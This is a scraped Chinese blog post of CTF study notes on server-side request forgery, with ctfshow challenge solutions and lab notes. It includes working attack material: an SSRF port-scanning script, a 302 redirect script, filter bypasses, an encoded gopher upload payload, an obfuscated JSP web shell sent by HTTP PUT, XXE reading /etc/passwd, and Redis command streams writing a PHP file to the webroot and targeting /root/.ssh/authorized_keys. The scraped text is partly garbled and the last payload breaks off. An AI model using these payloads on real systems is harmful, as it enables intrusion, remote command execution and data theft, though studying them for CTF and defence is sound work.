免费自助建站网站一览自助建站平台,旅游网,杭州网站运营十年乐云seo,windows 7 wordpressCTF 题型 SSRF攻击例题总结 文章目录 CTF 题型 SSRF攻击例题总结Server-side Request Forgery 服务端请求伪造SSRF的利用面1 任意文件读取 前提是知道要读取的文件名2 探测内网资源3 使用gopher协议扩展攻击面Gopher协议 #xff08;注意是70端口#xff09;python…CTF 题型 SSRF攻击例题总结 文章目录 CTF 题型 SSRF攻击例题总结Server-side Request Forgery 服务端请求伪造SSRF的利用面1 任意文件读取 前提是知道要读取的文件名2 探测内网资源3 使用gopher协议扩展攻击面Gopher协议 注意是70端口python脚本基于gopher转发监听探测内网资源mysql 3306php-fpmphp原生类进行ssrf   SSSR攻击绕过1.enclosed alphanumerics 绕过(特殊情况)2 使用IP地址转换3 系统特性绕过4 302跳转5 利用短网址绕过6.重绑定攻击7.域名解析A记录绕过典型例题 补充其他绕过127的方法利用不存在的协议头绕过指定的协议头URL解析差异 ctfshow SSRF 靶场通关web351web352web353web354web354**web355****web356****web357**web358web359web360 国关师傅的SSRF靶场通关从基本原理理解不用gopher-master   SSRF攻击方式 Server-side Request Forgery 服务端请求伪造 
概念攻击者向服务端发送包含恶意url连接的请求借由服务端发起请求 
以便获取服务端网络内部的资源 
总结 控制服务端使用指定协议访问指定的url 
SSRF的利用面 
1 任意文件读取 前提是知道要读取的文件名 
2 探测内网资源 127.0.0.1 mysql服务端监听了127.0.0.1这个地址也就表示只能通过127.0.0.1这个IP来访问 因此我们只能通过SSRF 本地服务器转发请求才可以请求MySQL服务 0.0.0.0 表示允许任意ip访问 3 使用gopher协议扩展攻击面 
Gopher协议 注意是70端口 
gopher://ip:70/_tcp数据流 
/之后的第一个字符不会被读取所以写成/_便于区分 
常用工具https://github.com/tarunkant/Gopherus生成数据时会自动编码一次 
易错生成数据之后还要urlencode编码一次才可利用 原因: 数据流经过了两层服务器解析 存在SSRF漏洞的服务器编码一次目标服务器编码一次所以一共编码两次 
Gopher是Internet上一个非常有名的信息查找系统它将Internet上的文件组织成某种索引很方便地将用户从Internet的一处带到另一处。在WWW出现之前Gopher是Internet上最主要的信息检索工具Gopher站点也是最主要的站点使用TCP 
Gopher协议支持发出GET、POST请求我们可以先截获GET请求包和POST请求包再构造成符合Gopher协议请求的payload进行SSRF利用甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用这无疑大大扩展了我们的SSRF攻击面 
Gopher协议格式 
如果发起POST请求回车换行需要使用%0d%0a来代替%0a如果多个参数参数之间的也需要进行URL编码 
利用Gopher协议发送HTTP请求 
步骤 
注意这几个问题 问号?需要转码为URL编码也就是%3f回车换行要变为%0d%0a,但如果直接用工具转可能只会有%0a(不用hackbar)在HTTP包的最后要加%0d%0a代表消息结束具体可研究HTTP包结束 python脚本基于gopher转发监听探测内网资源 
import requests#url  http://127.0.0.1:3000/ports  [21,22,80,443,3389,1433,3306,6379,8080,8088,3000,9000]#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口 默认不打会污染环境
#8080 tomcat 默认端口
#portslist(range(1, 10001))
for c in range(1,255):for p in ports:try:#data{url:fgopher://127.0.0.1:{p}/}urlfhttp://111.229.88.209:10000/?sycgopher://172.17.0.{c}:{p}/response  requests.get(urlurl,timeout2)except:with open (client.txt,w) as f:f.write(f172.17.0.{c}端口{p}开放)print(f172.17.0.{c}端口{p}开放)关键服务 
apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379mysql 3306 
一般用户密码为空 才可利用 
php-fpm 
php-fpm 默认监听9000端口而且只允许本机127.0.0.1这个地址访问 
主要负责对.php文件的代码解释执行 
我们可以通过向9000端口发送格式的请求来让9000端口背后的php-fpm帮我们处理我们提交的php代码 
通过向9000端口发送php执行请求 
利用方法 php.ini 
通过设置php.ini中的运行参数 
其中使用 auto_append_file 来指定 php://input 包含恶意代码然后执行 
为了能使用auto_append_file参数必须有一个存在的php文件来使用这个配置项 
php原生类进行ssrf s o a p  n e w S o a p C l i e n t ( soap  new SoapClient( soapnewSoapClient(_GET[‘url’]); $soap-hack(); //$soap-__call() url可控时可以发送内网请求 
SSSR攻击绕过 
只要不允许它访问本地地址即可也就是说过滤的目的是不让访问127.0.0.1地址 
1.enclosed alphanumerics 绕过(特殊情况) 
Enclosed Alphanumerics是一种Unicode字符集其中包括被圆圈、括号或其他类型的封闭图形所包围的字母和数字。例如数字 “1” 可以表示为 “①”。在某些情况下攻击者可能会尝试使用这些特殊字符来绕过输入校验。 
随附的字母数字[1]
官方 Unicode 联盟代码表(PDF)0	1	2	3	4	5	6	7	8	9	A	乙	C	D	乙	F
U246x	①	②	③	④	⑤	⑥	⑦	⑧	⑨	⑩	⑪	⑫	⑬	⑭	⑮	⑯
U247x	⑰	⑱	⑲	⑳	⑴	⑵	⑶	⑷	⑸	⑹	⑺	⑻	⑼	⑽	⑾	⑿
U248x	⒀	⒁	⒂	⒃	⒄	⒅	⒆	⒇	⒈	⒉	⒊	⒋	⒌	⒍	⒎	⒏
U249x	⒐	⒑	⒒	⒓	⒔	⒕	⒖	⒗	⒘	⒙	⒚	⒛	⒜	⒝	⒞	⒟
U24斧	⒠	⒡	⒢	⒣	⒤	⒥	⒦	⒧	⒨	⒩	⒪	⒫	⒬	⒭	⒮	⒯
U24Bx	⒰	⒱	⒲	⒳	⒴	⒵	Ⓐ	Ⓑ	Ⓒ	Ⓓ	Ⓔ	Ⓕ	Ⓖ	Ⓗ	Ⓘ	Ⓙ
U24Cx	Ⓚ	Ⓛ	Ⓜ	Ⓝ	Ⓞ	Ⓟ	Ⓠ	Ⓡ	Ⓢ	Ⓣ	Ⓤ	Ⓥ	Ⓦ	Ⓧ	Ⓨ	Ⓩ
U24Dx	ⓐ	ⓑ	ⓒ	ⓓ	ⓔ	ⓕ	ⓖ	ⓗ	ⓘ	ⓙ	ⓚ	ⓛ	ⓜ	ⓝ	ⓞ	ⓟ
U24Ex	ⓠ	ⓡ	ⓢ	ⓣ	ⓤ	ⓥ	ⓦ	ⓧ	ⓨ	ⓩ	⓪	⓫	⓬	⓭	⓮	⓯
U24Fx	⓰	⓱	⓲	⓳	⓴	⓵	⓶	⓷	⓸	⓹	⓺	⓻	⓼	⓽	⓾	⓿127.0.0.1 
127.⓿.⓿.1 
2 使用IP地址转换 
所有的域名-IP 
ip可以使用不同进制来表示 
127.0.0.1用不同进制可以表示为 
2130706433 10进制 http://2130706433017700000001 8进制 http://0177000000017F000001 16进制 http://0x7F000001 
还可以点分表示 
3 系统特性绕过 
Windows 下 0 代表的是0.0.0.0 而Linux 下 0 代表的是127.0.0.1 
127.0.0.1 可以省略为 127.1 
127。0。0。1 可以替代127.0.0.1 
4 302跳转 
可以发送http的协议。但是返回的location为其他协议 
http://xxx.com/302.php?schemagopherhost127.0.0.1port9000payloadxxxx 
302脚本 
?php  
$schema  $_GET[s];
$ip      $_GET[i];
$port    $_GET[p];
$query   $_GET[q];
if(empty($port)){  header(Location: $schema://$ip/$query); 
} else {header(Location: $schema://$ip:$port/$query); 
}
//?shttpi127.0.0.1qflag.php5 利用短网址绕过 
baidu.com 不允许出现baidu 
或者限制了url长度我们可以切换为短网址来绕过长度的限制 
http://rurl.vip/eW7AU 
6.重绑定攻击 极其类似条件竞争 通过host合法验证后 TTL缓存失效后DNS解析重定向到127.0.0.1 
具体实现攻击 
1.ceye.io注册绑定DNS重绑定127.0.0.1然后记得前面加r 
访问r.自己分配的地址 
2.DNS重绑定利用https://lock.cmpxchg8b.com/rebinder.html 
7.域名解析A记录绕过 
将自己的域名A记录指向127.0.0.1 
典型例题 
题目禁止 localhost,0,1,。 方法有 三种 
方法一域名指向127 
在自己的域名中添加一条A记录指向 127.0.0.1 
或者使用 http://sudo.cc这个域名就是指向127.0.0.1 
方法二302跳转 
在自己的网站页面添加 
?phpheader(Location:http://127.0.0.1/flag.php); 
重定向到127 
方法三DNS-Rebinding 自己去ceye.io注册绑定127.0.0.1然后记得前面加r 或者 https://lock.cmpxchg8b.com/rebinder.html 
补充 
其他绕过127的方法 
如果目标代码限制访问的域名只能为 http://www.xxx.com那么我们可以采用HTTP基本身份认证的方式绕过。即http://www.xxx.comwww.evil.com http://www.evil.com/http://xip.io当访问这个服务的任意子域名的时候都会重定向到这个子域名如访问http://127.0.0.1.xip.io/flag.php时实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.iohttp://sslip.io短网址目前基本都需要登录使用如缩我https://4m.cn/各种指向127.0.0.1的地址 
利用不存在的协议头绕过指定的协议头 
file_get_contents()函数的一个特性即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹造成目录穿越漏洞这时候只需不断往上跳转目录即可读到根目录的文件。include()函数也有类似的特性//路径穿越的原理 
上面的代码限制了url只能是以https开头的路径那么我们就可以如下 
此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”就会将他当做文件夹然后再配合目录穿越即可读取文件 
URL解析差异 
1.readfile和parse_user函数解析差异绕过指定端口 
上述代码限制了我们传过去的url只能是80端口的但如果我们想去读取11211端口的文件的话我们可以用以下方法绕过 
可以成功读取11211端口flag.txt文件原理如下图 两个函数解析host也存在差异 利用这种差异的不同可以绕过题目中parse_url()函数对指定host的限制 
2.利用curl和parse_url的解析差异绕过指定host ctfshow SSRF 靶场通关 
web351 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
?file:///etc/hosts 存在SSRF 直接 urlhttp://0/flag.php 
Linux特性 0 可以代表 127.0.0.1 
web352 
urlhttp://0/flag.php 
web353 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|127\.0\.|\。/i, $url)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hackerurlhttp://0x7F.0.0.1/flag.php 
点分进制转换 
web354 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|1|0|。/i, $url)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hacker302跳转 但是我是裸ip… 
web354 
if(!preg_match(/localhost|1|0|。/i, $url)) 
方法一域名指向127 
在自己的域名中添加一条A记录指向 127.0.0.1 
或者使用 http://sudo.cc这个域名就是指向127.0.0.1 
方法二302跳转 
在自己的网站页面添加 
?phpheader(Location:http://127.0.0.1/flag.php); 
重定向到127 
方法三DNS-Rebinding 自己去ceye.io注册绑定127.0.0.1然后记得前面加r urlhttp://r.xxxzc8.ceye.io/flag.php or https://lock.cmpxchg8b.com/rebinder.html web355 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
$host$x[host];
if((strlen($host)5)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hackerurlhttp://0/flag.php 
web356 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
$host$x[host];
if((strlen($host)3)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hackerurlhttp://0/flag.php 
web357 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
$ip  gethostbyname($x[host]); //ipv4地址
echo /br.$ip./br;
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die(ip!);// 
}echo file_get_contents($_POST[url]);
}
else{die(scheme);
}
? schemeurlhttp://r.t4ekuo.ceye.io/flag.php 
dns重绑定 类似条件竞争 
file_get_content  远程include  SSRF 
web358 
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if(preg_match(/^http:\/\/ctf\..*show$/i,$url)){echo file_get_contents($url);
}poc 
http://ctf.127.0.0.1/flag.php?show //注意题干要求web359 判断可以写入文件地址 
无回显 
写文件运气 web360 
urldict://0:6379/info 
判断redis未授权 
用gopherus写马 
工具地址 
https://github.com/tarunkant/Gopherus 
redis写phpshell马 
国关师傅的SSRF靶场通关 
这是之前零星的笔记,内容不全建议跳过 arp_sweep的原理 
arp_sweep是一个通常在本地网络LAN中使用的技术用来发现活跃的设备。 
即使host 80端口关闭仍有arp协议解析 
可以通过查看arp缓存表判断内网存活主机 
验证存在ssrf漏洞 
file:///etc/passwd查询C段 
file:///etc/hosts两个网段对应两个网卡 
查看arp缓存表 
file:///proc/net/arp类似浏览器的历史记录有过通信才有记录目录默认是当前路径 / 不要忘 
如何有通信bp发http包 不推荐容易误判 kali自带comment目录 
Untitled http他爹 POST后不加换行 注意事项用hackerbar换行为%0a不可以 POST传参 remote_add不可伪造考点SSRF 限制内网ip vps挂302脚本 
?php  
$schema  $_GET[s];
$ip      $_GET[i];
$port    $_GET[p];
$query   $_GET[q];
if(empty($port)){  header(Location: $schema://$ip/$query); 
} else {header(Location: $schema://$ip:$port/$query); 
}
//?shttpi127.0.0.1qflag.phphttp://148.135.82.190/302.php?shttpi127.0.0.1qflag.php DNS重绑定toolhttps://lock.cmpxchg8b.com/rebinder.html post name的键值 ip xxe的验证回显(注意判断回显位) script typetext/javascript 
function doLogin(){var username  $(#username).val();var password  $(#password).val();if(username   || password  ){alert(用户名或密码不为空);return;}var data  userusername  username  /usernamepassword  password  /password/user;//xxe的结构 $.ajax({type: POST,url: doLogin.php, //doLogin.phpcontentType: application/xml;charsetutf-8, //定义content-type 类型data: data,dataType: xml,anysc: false,success: function (result) {var code  result.getElementsByTagName(code)[0].childNodes[0].nodeValue;var msg  result.getElementsByTagName(msg)[0].childNodes[0].nodeValue;if(code  0){swal(登录失败, , error);}else if(code  1){swal(登录成功, , success);}else{swal(系统错误, , success);}},}); 
}
/script构造验证包 
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 65
Content-Type: application/xml;charsetutf-8userusernameadmin/usernamepasswordadmin/password/userxxe攻击包 
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 117
Content-Type: application/xml;charsetutf-8!DOCTYPE root[!ENTITY a SYSTEM file:///etc/passwd]userusernamea;/usernamepassworda;/password/user定义变量 外部实体 
!DOCTYPE root[!ENTITY a SYSTEM file:///etc/passwd]-》 引用变量 
回显位 
变量名;hackerbar不会默认再次编码 submit也要提交 union select 合并查询前者必须不返回值 如 -1 
浏览器中poc本身会再编码一次 注意  换成 %20 
http://172.250.250.11/Less-1/?id-1%20union%20select%201,2,database()--%20在URL中有一些字符不能直接使用因为它们在URL中具有特殊的意义或者在传输过程中可能会引起歧义。其中空格 是一个常见的特殊字符因为在URL中直接使用空格会导致解析错误或者意外的结果。 
因此在URL的查询字符串通常是GET请求中的参数部分中空格通常会被替换为符号或者%20空格在ASCII编码中的百分号编码形式。 
例如如果你想通过GET请求传递hello world这个短语作为一个查询参数的值你需要在URL中这样写 
http://www.example.com/search?qhelloworld 
或者使用%20来替换空格 
http://www.example.com/search?qhello%20world 
这两种方式都是有效的不过在某些情况下服务器可能对这两种空格的替代方式会有不同的处理因此具体使用哪种方式取决于服务器的期望。 
为了形象化记忆这个知识点可以想象URL是一列火车而火车上的乘客字符都需要遵循特定的规则。空格就像是一个无票乘客它不能直接上车所以它需要化装成一个受欢迎的乘客或%20这样才能顺利地加入到URL的旅途中。使用或%20代替空格就像是给空格穿上了合适的伪装让它可以安全地通过网络传输。 类似文本分割符 poc 
POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
Content-Length: 313
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryOyskFkAOUUrZfcqR------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; nameupload_file; filenamephpinfo.php
Content-Type: image/jpegGIF89a
?php phpinfo();?------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; namesubmit上传
------WebKitFormBoundaryOyskFkAOUUrZfcqR--payload 
urlgopher%3A%2F%2F172.250.250.14%3A80%2F_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%35%30%25%36%31%25%37%33%25%37%33%25%32%64%25%33%30%25%33%31%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%31%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%31%25%33%33%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%36%61%25%37%30%25%36%35%25%36%37%25%30%64%25%30%61%25%30%64%25%30%61%25%34%37%25%34%39%25%34%36%25%33%38%25%33%39%25%36%31%25%30%64%25%30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%38%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%30%61%25%32%30%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%32%64%25%32%64注意自己创建 upload 目录 且将 upload目录 chmod 777 upload上传或创建被www-data执行就要改chmod shell上msf马子 hackerbar自己做了一次urlencode编码 hackerbar不编码 是关键词 url编码后表示进行传输 
http在ssrf中编码一次即可ssrf服务器会再自己编码一次gopher tcp数据二次编码 
poc 从基本原理理解不用gopher-master 条件 mysql php架构 dict://127.0.0.1:3306/info 判断未授权 show variables like ‘%secure%’ 类比 php open_basedir 环境写可以写但位置固定 
在 MySQL 数据库中当你想查看与安全相关的配置变量时可以使用 SHOW VARIABLES 这个 SQL 命令配合 LIKE 子句进行模式匹配。你提到的命令 SHOW VARIABLES LIKE ‘%secure%’; 就是这样的一个用例。 
这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于 
secure_auth当设置为 ON 时服务器将拒绝连接不使用密码的客户端或使用旧的不安全的密码格式的客户端。secure_file_priv用来限制 LOAD DATA INFILE、SELECT ... INTO OUTFILE 和 LOAD_FILE() 函数所操作的文件路径。如果设置了特定的目录那么这些操作只能在该目录内进行。have_ssl 或 have_openssl指示服务器是否支持 SSL 加密连接。 
当执行这个命令时需要注意单引号使用的是直角引号‘’而不是通常编程中使用的单引号’’。这可能会导致语法错误正确的命令应该使用标准单引号 
SHOW VARIABLES LIKE %secure%; 
这条命令可以为你提供一个关于数据库安全相关配置的快照这些配置决定了数据库的安全性能表现。记住这个命令就像记住家里常用的安全检查清单一样定期查看这些设置确保你的数据库安全配置是按照最佳实践来设置的。 无值可写 poc 
PUT /shell.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 890% String Ae8db  request.getParameter(1); if(Ae8db!null){Class? Ch7d  Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));java.lang.reflect.Method ED1oDQj3  Ch7d.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);Object G648X8DM  ED1oDQj3.invoke( Ch7d.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{Ae8db});java.lang.reflect.Method QDbW  G648X8DM.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));QDbW.setAccessible(true);java.util.Scanner s  new java.util.Scanner((java.io.InputStream) QDbW.invoke(G648X8DM, new Object[]{})).useDelimiter(\\A);String result  s.hasNext() ? s.next() : ;out.print(pre);out.print(result);out.print(/pre);}else{} %poc 
config set dir /var/www/html/
config set dbfilename phpinfo.php
set payload ?php phpinfo();?
save
quit
//类似sql的堆栈注入
手动构造 redis tcp 数据流*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$10
dbfilename
$11
phpinfo.php
*3
$3
set
$7
payload
$20
?php phpinfo();?
*1
$4
save
*1
$4
quitpoc 
*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$3%0d%0Adir%0d%0A$14%0d%0A/var/www/html/%0d%0A*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$10%0d%0Adbfilename%0d%0A$11%0d%0Aphpinfo.php%0d%0A*3%0d%0A$3%0d%0Aset%0d%0A$7%0d%0Apayload%0d%0A$20%0d%0A%3Fphp phpinfo();%3F%0d%0A*1%0d%0A$4%0d%0Asave%0d%0A*1%0d%0A$4%0d%0Aquitredis-cli 是 Redis 的命令行接口用于与 Redis 服务器进行交互。该命令后面常常跟一系列参数来指定如何连接到 Redis 服务器。 
当你执行命令 redis-cli -h 127.0.0.1 
redis-cli 是启动 Redis 命令行接口的命令。h 参数用于指定 Redis 服务器的主机名或 IP 地址。127.0.0.1 是一个特殊的 IP 地址表示本机地址localhost也就是说这条命令指示 redis-cli 连接到本机上运行的 Redis 服务器。 
执行这条命令后如果 Redis 服务器在你的本机上运行并且监听默认端口6379redis-cli 将连接到这个 Redis 服务器随后你可以输入各种 Redis 命令来操作数据库。 
如果 Redis 服务器设置了不同的端口或者需要密码认证你可以用 -p 参数来指定端口用 -a 参数后跟密码来进行认证例如 
指定端口redis-cli -h 127.0.0.1 -p 6380指定密码redis-cli -h 127.0.0.1 -a yourpassword 
记住使用 redis-cli 时确保你的 Redis 服务器正在运行并且你的用户账户有足够的权限连接到 Redis 服务器。 判断是否未授权 dict://ip/info 替换换行 %0d%0A 代表编码一次 
问号url编码 %3F poc 
ssh-keygen -t rsaauthorized_keys 这里换行为一个字符 不用notepad选取两个字符原因两个CRLF 要清空 Redis 中的配置项通常并没有直接的命令可以重置所有的配置为默认值。不过你可以重启 Redis 服务来实现这一点因为在 Redis 服务器启动时它会从配置文件 redis.conf 加载配置项而不是从内存中持久化的配置状态。 
如果你想重置某个特定的配置项到它的默认值你可以使用 CONFIG SET 命令并指定相应的默认值。比如如果你要重置 maxmemory 配置项到默认值你可以根据它的默认值来设置假设默认值是0表示不限制内存使用 
CONFIG SET maxmemory 0 
这个命令实际上是改变了当前运行的 Redis 服务器的配置项但并不会影响 redis.conf 文件中的设置。在下一次重启 Redis 服务器时配置项仍然会从 redis.conf 文件中加载。 
如果你真的想从 redis.conf 文件中删除所有的配置设置你需要手动编辑该文件将其内容恢复到默认状态。默认的配置文件通常可以在 Redis 的源码目录中找到或者你可以从 Redis 的官方网站或仓库中获取。 
请注意直接编辑配置文件或者清空配置项可能会影响 Redis 服务器的正常运行。在操作之前请确保对配置文件和 Redis 服务的操作有适当的了解并始终备份原有的配置文件以便在出现问题时可以恢复。 
另外请确保处理完后重新加载配置或重启 Redis 服务以使更改生效。重新加载配置文件的命令通常是 
redis-cli CONFIG REWRITE //重写config 
此命令会将当前服务器的配置重写到配置文件中。如果你需要完全恢复默认配置那么重启 Redis 服务可能是最简单的选择。这可以通过你的系统服务管理器完成通常是使用 systemctl 或 service 命令例如 
# 使用 systemctl通常是较新的系统如 CentOS 7 或 Ubuntu 16.04
sudo systemctl restart redis# 使用 service 命令较旧的系统
sudo service redis restart 
在任何操作之后都可以使用 INFO 命令或 CONFIG GET 命令检查配置项的当前状态以确保配置已按照预期更新。 
poc 
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
